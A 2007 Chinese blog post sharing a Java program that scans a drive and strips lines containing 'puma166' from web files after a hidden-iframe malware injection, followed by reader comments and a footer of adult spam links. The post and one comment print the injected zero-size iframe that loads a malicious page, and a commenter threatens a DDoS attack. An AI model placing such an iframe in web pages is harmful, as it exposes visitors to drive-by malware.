<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    lqxue

    常用鏈接

    統(tǒng)計

    book

    tools

    最新評論

    清除文件中含有指定特征字符串(例如puma166)的行。


    最近感染了一個病毒,也說不上是啥毒,反正所有的.html,.htm,.jsp文件一經(jīng)被IE執(zhí)行,它都會在文件的尾部加上一句類似這樣一句代碼“< IFRAME ID=IFrame1 FRAMEBORDER=0 SCROLLING=NO SRC="http://www.puma166.com/...."></ IFRAME > ”;殺毒軟件是不能幫我把它從文件中刪除了,自己寫了一段程序來實現(xiàn)。

    import java.io.BufferedReader;
    import java.io.File;
    import java.io.FileReader;
    import java.io.FileWriter;

    public class Test {
        
    private static String feature = "puma166";// the special string which indicate that we will remove this line 
        private static String filetypes = "#.htm#.html#.jsp#.asp#.aspx#";
        
    public static void moveAntivus(String filename,String feature) throws Exception{
            FileReader fr 
    = new FileReader(filename);
            String tmpFileName 
    = filename+"_tmp";
            BufferedReader br 
    = new BufferedReader(fr);
            String line 
    = "";
            FileWriter fw ;
            
    while ((line=br.readLine()) != null) {
                
    if(line.trim().indexOf(feature)<0){
                    fw 
    = new FileWriter(new File(tmpFileName),true);
                    fw.write(line
    +"\n");
                    fw.close();
                }
            }
            fr.close();
            File file 
    = new File(filename);
            file.delete();
            
    new File(tmpFileName).renameTo(new File(filename));
        }
        
    public static void scanFile(File file){
           if(file.getName().indexOf(".")<0)
                return;
            
    try {
                String ext 
    = file.getName().substring(file.getName().lastIndexOf("."));
                
    if(filetypes.indexOf(ext)>0){
                    moveAntivus(file.getAbsolutePath(),feature);
                    System.out.println(file.getAbsolutePath());
                }
            } 
    catch (Exception e) {
                e.printStackTrace();
            }
        }
        
    public static void scanDir(File dir){
                File[] files 
    = dir.listFiles();
                
    for(int i=0;i<files.length;i++){
                    
    if(files[i].isDirectory()){
                        scanDir(files[i]);
                    }
    else{
                        scanFile(files[i]);
                    }
                }
        }
        
    public static void main(String[] args){
            Test.scanDir(
    new File("C:\\"));//掃描c盤;
        }
    }

    posted on 2007-05-25 10:31 lqx 閱讀(1231) 評論(6)  編輯  收藏

    評論

    # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-05 10:14 cf

    我也中了這個病毒,請問你寫的這個程序應該放程序的什么地方?請回復到我的郵箱好嗎?我的郵箱是:cf244000@163.com.謝謝了,急用  回復  更多評論   

    # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 09:34 myself

    這是一段java代碼,你在執(zhí)行前在main方法里填上你要掃描的文件夾或磁盤
    如下:
    public static void main(String[] args){
    Test.scanDir(new File("C:\\"));//掃描c盤;
    Test.scanDir(new File("C:\\a\\"));//掃描c盤的a文件夾;
    }

    編譯通過后,執(zhí)行即可  回復  更多評論   

    # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 10:05 cf

    謝謝了  回復  更多評論   

    # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-06-06 10:32 雨的眼淚

    你好,還是我,我把這段代碼放在我要運行的mian.asp中,這樣可以嗎?將這句代碼“Test.scanDir(new File("C:\\a\\"));//掃描c盤的a文件夾;”換成我網(wǎng)上文件所在的文件。然后將我的文件放到網(wǎng)上,這樣可以嗎?謝謝了
      回復  更多評論   

    #  <iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>太卑鄙了我草他老母[未登錄] 2007-06-27 10:18 過客

    <iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe> 他嗎的這個東西太卑鄙了 竟然給老子掛網(wǎng)馬

    嗎的害的老子好苦啊 草他娘 草他老母啊 日他麻痹啊


    誰告訴我他的真正網(wǎng)站 老子 給他黑了 DDOS他麻痹啊 草呀 你他娘  回復  更多評論   

    # re: 清除文件中含有指定特征字符串(例如puma166)的行。 2007-09-15 22:56 jackycheng

    我以前是通過dreamweaver 來替換好把它清除了,自己硬盤上網(wǎng)頁太多,又散清楚起來特別的麻煩。今天看到樓主這樣編程殺毒的方法覺得挺不錯的。樓主怎么不把它做成軟件讓大家共享呢?

            回復  更多評論   


    只有注冊用戶登錄后才能發(fā)表評論。


    網(wǎng)站導航:
     
    主站蜘蛛池模板: 久久永久免费人妻精品| 国产精品成人亚洲| 污污网站免费观看| 久久国产精品亚洲综合| 日韩免费的视频在线观看香蕉| 亚洲欧洲自拍拍偷午夜色无码| a视频在线免费观看| 久久精品国产亚洲网站| 日韩免费电影网址| 亚洲色成人网一二三区| 国产在线观看片a免费观看| 自拍偷区亚洲国内自拍| 国产无遮挡吃胸膜奶免费看| 阿v视频免费在线观看| 国产亚洲精品免费视频播放| 人人揉揉香蕉大免费不卡| 亚洲熟妇无码久久精品| 成年女人视频网站免费m| 国产亚洲高清在线精品不卡| 国产精品V亚洲精品V日韩精品 | 亚洲熟妇久久精品| 免费少妇a级毛片人成网| 国产免费人成视频在线播放播| 亚洲精品乱码久久久久久蜜桃不卡| 午夜精品一区二区三区免费视频| 91午夜精品亚洲一区二区三区| 日本免费高清一本视频| 久久WWW免费人成—看片| 亚洲好看的理论片电影| 热99re久久精品精品免费| 精选影视免费在线 | 亚洲成综合人影院在院播放| 国产国产人免费视频成69大陆 | 亚洲精品国产电影午夜| 成人毛片免费观看视频在线| 一个人免费观看www视频| 亚洲综合一区二区精品久久| 国产精品免费视频播放器| 嫩草在线视频www免费观看| 亚洲中文字幕乱码熟女在线| 亚洲色大成网站www永久一区|